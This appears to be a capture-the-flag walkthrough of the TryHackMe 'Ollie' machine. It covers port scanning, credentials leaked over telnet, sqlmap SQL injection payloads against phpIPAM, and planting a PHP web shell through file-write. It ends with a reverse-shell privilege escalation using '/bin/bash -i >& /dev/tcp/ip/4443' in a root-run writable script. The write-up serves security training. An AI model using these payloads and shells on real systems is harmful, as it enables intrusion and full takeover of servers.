

# Ollie\_Walkthrough

## Nmap\_Scan

```
nmap -T4 -A -p- 10.10.40.18 > Nmap_Scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 22:03 EDT
Warning: 10.10.40.18 giving up on port because retransmission cap hit (6).
Stats: 0:07:30 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.17% done; ETC: 23:17 (1:06:07 remaining)
Stats: 0:09:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 14.61% done; ETC: 23:10 (0:57:34 remaining)
Stats: 0:25:45 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 55.11% done; ETC: 22:50 (0:20:58 remaining)
Stats: 0:42:51 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 87.49% done; ETC: 22:52 (0:06:07 remaining)
Nmap scan report for 10.10.40.18
Host is up (0.36s latency).
Not shown: 65141 closed tcp ports (conn-refused), 391 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b7:1b:a8:f8:8c:8a:4a:53:55:c0:2e:89:01:f2:56:69 (RSA)
|   256 4e:27:43:b6:f4:54:f9:18:d0:38:da:cd:76:9b:85:48 (ECDSA)
|_  256 14:82:ca:bb:04:e5:01:83:9c:d6:54:e9:d1:fa:c4:82 (ED25519)
80/tcp    open  http   Apache httpd 2.4.41 ((Ubuntu))
1337/tcp  open  waste?
| fingerprint-strings:
| DNSStatusRequestTCP, GenericLines:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up,
|   It's been a while. What are you here for?
| DNSVersionBindReqTCP:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up,
|   version
|   bind
|   It's been a while. What are you here for?
| GetRequest:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up, Get / http/1.0
|   It's been a while. What are you here for?
| HTTPOptions:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up, Options / http/1.0
|   It's been a while. What are you here for?
| Help:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up, Help
|   It's been a while. What are you here for?
| NULL, RPCCheck:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name?
| RTSPRequest:
|   Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|   What is your name? What's up, Options / rtsp/1.0
|_  It's been a while. What are you here for?
1 service unrecognized despite returning data. If you know the service/version, please submit the following
```

fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :  
SF-Port1337-TCP:V=7.92%I=7%D=9/5%Time=6316B62C%P=x86\_64-pc-linux-gnu%r(NUL  
SF:L,59,"Hey\x20stranger,\x20l'm\x20Ollie,\x20protector\x20of\x20panels,\x  
SF:20lover\x20of\x20deer\x20antlers.\n\nWhat\x20is\x20your\x20name?\x20"  
SF:)%r(GenericLines,93,"Hey\x20stranger,\x20l'm\x20Ollie,\x20protector\x20  
SF:of\x20panels,\x20lover\x20of\x20deer\x20antlers.\n\nWhat\x20is\x20your  
SF:\x20name?\x20What's\x20up,\x20\r\n\r!\x20It's\x20been\x20a\x20while).\x  
SF:x20What\x20are\x20you\x20here\x20for?\x20")%r(GetRequest,A1,"Hey\x20st  
SF:ranger,\x20l'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x  
SF:20deer\x20antlers.\n\nWhat\x20is\x20your\x20name?\x20What's\x20up,\x2  
SF:0Get\x20/\x20http/1.0\r\n\r!\x20It's\x20been\x20a\x20while).\x20What\x  
SF:20are\x20you\x20here\x20for?\x20")%r(HTTPOptions,A5,"Hey\x20stranger,\x  
SF:x20l'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x  
SF:20antlers.\n\nWhat\x20is\x20your\x20name?\x20What's\x20up,\x20Options  
SF:\x20/\x20http/1.0\r\n\r!\x20It's\x20been\x20a\x20while).\x20What\x20ar  
SF:e\x20you\x20here\x20for?\x20")%r(RTSPRequest,A5,"Hey\x20stranger,\x20l  
SF:'m\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20an  
SF:tlers.\n\nWhat\x20is\x20your\x20name?\x20What's\x20up,\x20Options\x20  
SF:/x20rtsp/1.0\r\n\r!\x20It's\x20been\x20a\x20while).\x20What\x20are\x2  
SF:0you\x20here\x20for?\x20")%r(RPCCheck,59,"Hey\x20stranger,\x20l'm\x20O  
SF:llie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers).  
SF:\n\nWhat\x20is\x20your\x20name?\x20")%r(DNSVersionBindReqTCP,B0,"Hey\x  
SF:20stranger,\x20l'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20  
SF:of\x20deer\x20antlers.\n\nWhat\x20is\x20your\x20name?\x20What's\x20up  
SF:,|x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\x07version\x04bind\0\0\x10\0\x  
SF:x03!\x20It's\x20been\x20a\x20while).\x20What\x20are\x20you\x20here\x20f  
SF:or?\x20")%r(DNSStatusRequestTCP,9E,"Hey\x20stranger,\x20l'm\x20Ollie,\x  
SF:x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers.\n\nWh  
SF:at\x20is\x20your\x20name?\x20What's\x20up,\x20\0\x0c\0\0\x10\0\0\0\x  
SF:\0\0\0\0\x20It's\x20been\x20a\x20while).\x20What\x20are\x20you\x20here  
SF:\x20for?\x20")%r(Help,95,"Hey\x20stranger,\x20l'm\x20Ollie,\x20protect  
SF:or\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers.\n\nWhat\x20is\x  
SF:20your\x20name?\x20What's\x20up,\x20Help\r!\x20It's\x20been\x20a\x20wh  
SF:ile).\x20What\x20are\x20you\x20here\x20for?\x20");  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.  
Nmap done: 1 IP address (1 host up) scanned in 3130.84 seconds

## **Notes**

With our nmap scan we see 3 ports open 22 ssh, 80 http, 1337 waste?.. I first want to take a look at port 1337, and see what we can do.

# ***Admin\_Credentials***

```
telnet 10.10.40.18 1337
Trying 10.10.40.18...
Connected to 10.10.40.18.
Escape character is '^]'.
Hey stranger. I'm Ollie, protector of panels, lover of deer antlers,
```

What is your name? ollie  
! It's been a while. What are you here for? users  
. If you can answer a question about me, I might have something for you.

What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf?  
Bulldog

You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...

Please hold on a minute

Ok, I'm back.

After a lengthy discussion, we've come to the conclusion that you are the right person for the job. Here are the credentials for our administration panel.

Username: admin

Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!

Connection closed by foreign host.

## Notes

We can use telnet to login on port 1337. With this we find a username and password. Lets login to the website.

After we login in, we navigate to 10.10.40.18/index.php?page=tools&section=routing&subnetId=bgp&sPage=1  
Then you scroll down to actions, and click subnet mapping. scroll down again to the search bar then enter \*  
but don't hit enter yet, load burp then hit enter so we can capture this POST parameter.

## Injection\_parameter

The screenshot shows a web application interface for managing BGP configurations. The main menu includes options like Subnet masks, Inactive Hosts, Duplicates, Threshold, DEVICES, and TOOLS. Under the TOOLS section, 'BGP has' is selected. A modal window titled 'Edit BGP subnet mapping' is open, showing the current configuration: Local AS (23455), Local address (10.10.10.47), Peer AS (23456), and Peer address (10.10.10.47). Below the modal, a section titled 'Mapped subnets' displays a message: 'BGP has no mapped subnets!'. At the bottom of the modal, there is a 'Cancel' button.

## Post\_Capture

Request to http://10.10.40.18:80

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex

```

1 POST /app/admin/routing/edit-bgp-mapping-search.php HTTP/1.1
2 Host: 10.10.40.18
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 17
10 Origin: http://10.10.40.18
11 DNT: 1
12 Connection: close
13 Referer: http://10.10.40.18/index.php?page=tools&section=routing&subnetId=bgp&sPage=1
14 Cookie: phppam=memqkbn2iktuofqheo6ueqgkl; table-page-size=50
15
16 subnet=*&bgp_id=1

```

0 matches

Circuits Locations Cancel

phpIPAM IP address management [v1.4.5] In case of problems please contact 0day [Donate](#)

## Notes

save the POST capture to a file. Then lets use that file with sqlmap.

## Sqlmap test injection

sqlmap -r file\_name --level 3 --risk 3 (this will show us if the parameter is injectable)

```
[21:49:12] [WARNING] reflective value(s) found and filtering out
[21:49:17] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:49:30] [INFO] (custom) POST parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
```

sqlmap identified the following injection point(s) with a total of 115 HTTP(s) requests:

---

Parameter: #1\* ((custom) POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: subnet=-4536" OR 4741=4741 AND "wUPy" LIKE "wUPy&bgp\_id=1

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: subnet=" AND GTID\_SUBSET(CONCAT(0x7170787171,(SELECT (ELT(9224=9224,1))),0x7171627171),9224) AND "IzHU" LIKE "IzHU&bgp\_id=1

Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

Payload: subnet=" OR SLEEP(5) AND "GZxt" LIKE "GZxt&bgp\_id=1

Type: UNION query  
Title: Generic UNION query (NULL) - 4 columns  
Payload: subnet=" UNION ALL SELECT  
NULL,NULL,CONCAT(0x7170787171,0x777a667a72456276425879596459536e6a5a546c515551754c4f485a50444d645  
-&bgp\_id=1  
---  
[21:52:58] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)  
web application technology: Apache 2.4.41  
back-end DBMS: MySQL >= 5.6  
[21:53:00] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/  
10.10.40.18'  
[\*] ending @ 21:53:00 /2022-09-06/

## Notes

Now lets try to get a reverse shell using sqlmap.

## Sqlmap\_Reverse\_Shell

sqlmap -r req --file-write=shell.php --file-dest=/var/www/html/shell.php --batch (this command will upload a reverse shell to the website)

starting @ 22:01:32 /2022-09-06/

[22:01:32] [INFO] parsing HTTP request from 'rec'  
custom injection marker ('\*') found in POST body. Do you want to process it? [Y/n/q] Y  
[22:01:32] [INFO] resuming back-end DBMS 'mysql'  
[22:01:32] [INFO] testing connection to the target URL  
[22:01:32] [INFO] checking if the target is protected by some kind of WAF/IPS  
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie  
header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y  
sqlmap resumed the following injection point(s) from stored session:  
---

Parameter: #1\* ((custom) POST)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: subnet=-4536" OR 4741=4741 AND "wUPy" LIKE "wUPy&bgp\_id=1

Type: error-based

Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)

Payload: subnet=" AND GTID\_SUBSET(CONCAT(0x7170787171,(SELECT (ELT(9224=9224,1))),0x7171627171),  
9224) AND "IzHU" LIKE "IzHU&bgp\_id=1

Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

Payload: subnet=" OR SLEEP(5) AND "GZxt" LIKE "GZxt&bgp\_id=1

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: subnet=" UNION ALL SELECT

NULL,NULL,CONCAT(0x7170787171,0x777a667a72456276425879596459536e6a5a546c515551754c4f485a50444d645  
-&bgp\_id=1  
---

[22:01:33] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 20.10 or 19.10 or 20.04 (eoan or focal)

```

web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
[22:01:33] [INFO] fingerprinting the back-end DBMS operating system
[22:01:33] [INFO] the back-end DBMS operating system is Linux
[22:01:34] [WARNING] expect junk characters inside the file as a leftover from UNION query
do you want confirmation that the local file 'shell.php' has been successfully written on the back-end DBMS file
system ('/var/www/html/shell.php')? [Y/n] Y
[22:01:34] [INFO] the remote file '/var/www/html/shell.php' is larger (5496 B) than the local file
'shell.php' (5493B)
[22:01:34] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/
10.10.40.18'

[*] ending @ 22:01:34 /2022-09-06/

```

## Notes

This shows that we uploaded the shell called shell.php, now lets navigate to our shell, but lets first start nc -lvpn 4444  
10.10.40.18/shell.php will pop the shell.

## Shell

```

nc -lvpn 4444
listening on [any] 4444 ...
connect to [10.6.96.55] from (UNKNOWN) [10.10.40.18] 44424
Linux hackerdog 5.4.0-99-generic #112-Ubuntu SMP Thu Feb 3 13:50:55 UTC 2022 x86_64 x86_64 x86_64 GNU/
Linux
02:13:21 up 1:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

## Notes

Lets make the shell stable with this python command . python3 -c "import pty; pty.spawn('/bin/bash')"
Then we su ollie and put in the password we found . We can then navigate to user.txt

## Privesc

System timers

NEXT	LEFT	LAST	PASSED	UNIT	ACTIVATES
Wed 2022-09-07 04:09:00 UTC	28min left	Wed 2022-09-07 03:39:01 UTC	1min 40s ago		
phpsessionclean.timer	phpsessionclean.service				
Wed 2022-09-07 06:45:16 UTC	3h 4min left	Wed 2022-09-07 01:59:20 UTC	1h 41min ago		apt-daily-
upgrade.timer	apt-daily-upgrade.service				
Wed 2022-09-07 07:48:57 UTC	4h 8min left	Wed 2022-09-07 01:21:50 UTC	2h 18min ago		ua-
timer.timer	ua-timer.service				
Wed 2022-09-07 08:28:22 UTC	4h 47min left	Sat 2022-02-12 15:28:44 UTC	6 months 23 days ago		apt-
daily.timer	apt-daily.service				

Wed 2022-09-07 11:50:38 UTC 8h left	Sat 2022-02-12 14:58:23 UTC 6 months 23 days ago fwupd-refresh.timer	fwupd-refresh.service
Wed 2022-09-07 23:19:56 UTC 19h left	Wed 2022-09-07 01:49:40 UTC 1h 51min ago news.timer	motd-news.service
Thu 2022-09-08 00:00:00 UTC 20h left	Wed 2022-09-07 01:08:14 UTC 2h 32min ago logrotate.timer	logrotate.service
Thu 2022-09-08 00:00:00 UTC 20h left	Wed 2022-09-07 01:08:14 UTC 2h 32min ago db.timer	man-db.service
Thu 2022-09-08 01:22:40 UTC 21h left	Wed 2022-09-07 01:22:40 UTC 2h 18min ago clean.timer	systemd-tmpfiles-clean.service
Sun 2022-09-11 03:10:27 UTC 3 days left	Wed 2022-09-07 01:08:14 UTC 2h 32min ago e2scrub_all.timer	e2scrub_all.service
Mon 2022-09-12 00:00:00 UTC 4 days left	Wed 2022-09-07 01:08:14 UTC 2h 32min ago fstrim.timer	fstrim.service
n/a	n/a	Wed 2022-09-07 03:31:10 UTC 9min ago feedme.timer
<b>feedme.service</b>	n/a	n/a
n/a	n/a	Wed 2022-09-07 03:31:10 UTC 9min ago snapd.snap-repair.timer
repair.service	n/a	n/a
n/a	n/a	ua-license-check.timer
		ua-license-check.service

## Notes

I decided to upload linpeas. In the results i found under system timers a service called feedme.service.  
ls -la /usr/bin/feedme you will see that it is a writable file and ran by root.

```
ollie@hackerdog:/tmp$ ls -la /usr/bin/feedme
ls -la /usr/bin/feedme
-rwxrw-r-- 1 root ollie 75 Sep  7 03:28 /usr/bin/feedme
```

cat out the feedme file to look at the contents

```
ollie@hackerdog:/tmp$ cat /usr/bin/feedme
cat /usr/bin/feedme
#!/bin/bash
# This is weird?
```

## Root

Create a file called feedme then add this command.

```
#!/bin/bash
/bin/bash -i >& /dev/tcp/ip/4443 0>&1
# This is weird?
```

Now lets upload the file using curl, but first start a python server , python3 -m http.server 80 and a new nc session nc -lvpn 4443 **NOTE** change the permissions on your feedme file to 764  
chmod 764 feedme  
curl <http://ip/feedme> > /usr/bin/feedme

When you upload the file it will pop a new root shell.

```
root@hackerdog:/# cat /root/root.txt
cat /root/root.txt
THM{Ollie_Luvs_Chicken}
```